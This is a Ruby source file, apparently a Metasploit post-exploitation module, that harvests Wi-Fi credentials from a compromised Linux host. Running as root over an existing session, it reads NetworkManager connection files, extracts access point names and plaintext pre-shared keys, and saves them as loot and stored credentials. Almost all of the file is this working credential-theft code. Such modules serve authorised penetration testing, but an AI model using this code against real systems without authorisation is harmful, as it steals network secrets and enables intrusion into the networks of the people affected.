110 lines
2.8 KiB
Ruby
110 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Linux::Priv
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include Msf::Post::Linux::System
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include Msf::Auxiliary::Report
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Linux Gather 802-11-Wireless-Security Credentials',
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'Description' => %q{
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This module collects 802-11-Wireless-Security credentials such as
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Access-Point name and Pre-Shared-Key from your target CLIENT Linux
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machine using /etc/NetworkManager/system-connections/ files.
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The module gathers NetworkManager's plaintext "psk" information.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Cenk Kalpakoglu'],
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'Platform' => ['linux'],
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'SessionTypes' => ['shell', 'meterpreter']
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))
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register_options(
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[
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OptString.new('DIR', [true, 'The default path for network connections',
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'/etc/NetworkManager/system-connections/']
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)
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])
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end
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def dir
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datastore['DIR']
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end
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# Extracts AccessPoint name and PSK
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def get_psk(data, ap_name)
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data.each_line do |l|
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if l =~ /^psk=/
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psk = l.split('=')[1].strip
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return [ap_name, psk]
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end
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end
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nil
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end
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def extract_all_creds
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tbl = Rex::Text::Table.new({
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'Header' => '802-11-wireless-security',
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'Columns' => ['AccessPoint-Name', 'PSK'],
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'Indent' => 1,
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})
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files = cmd_exec("/bin/ls -1 #{dir}").chomp.split("\n")
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files.each do |f|
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file = "#{dir}#{f}"
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# TODO: find better (ruby) way
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if data = read_file(file)
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print_status("Reading file #{file}")
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ret = get_psk(data, f)
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if ret
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tbl << ret
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end
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end
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end
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tbl
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end
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def run
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if is_root?
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tbl = extract_all_creds
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if tbl.rows.empty?
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print_status('No PSK has been found!')
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else
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print_line("\n" + tbl.to_s)
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p = store_loot(
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'linux.psk.creds',
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'text/csv',
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session,
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tbl.to_csv,
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File.basename('wireless_credentials.txt')
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)
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print_good("Secrets stored in: #{p}")
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tbl.rows.each do |cred|
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user = cred[0] # AP name
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password = cred[1]
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create_credential(
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workspace_id: myworkspace_id,
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origin_type: :session,
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address: session.session_host,
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session_id: session_db_id,
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post_reference_name: self.refname,
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username: user,
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private_data: password,
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private_type: :password,
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)
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end
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print_status("Done")
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end
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else
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print_error('You must run this module as root!')
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end
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end
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end
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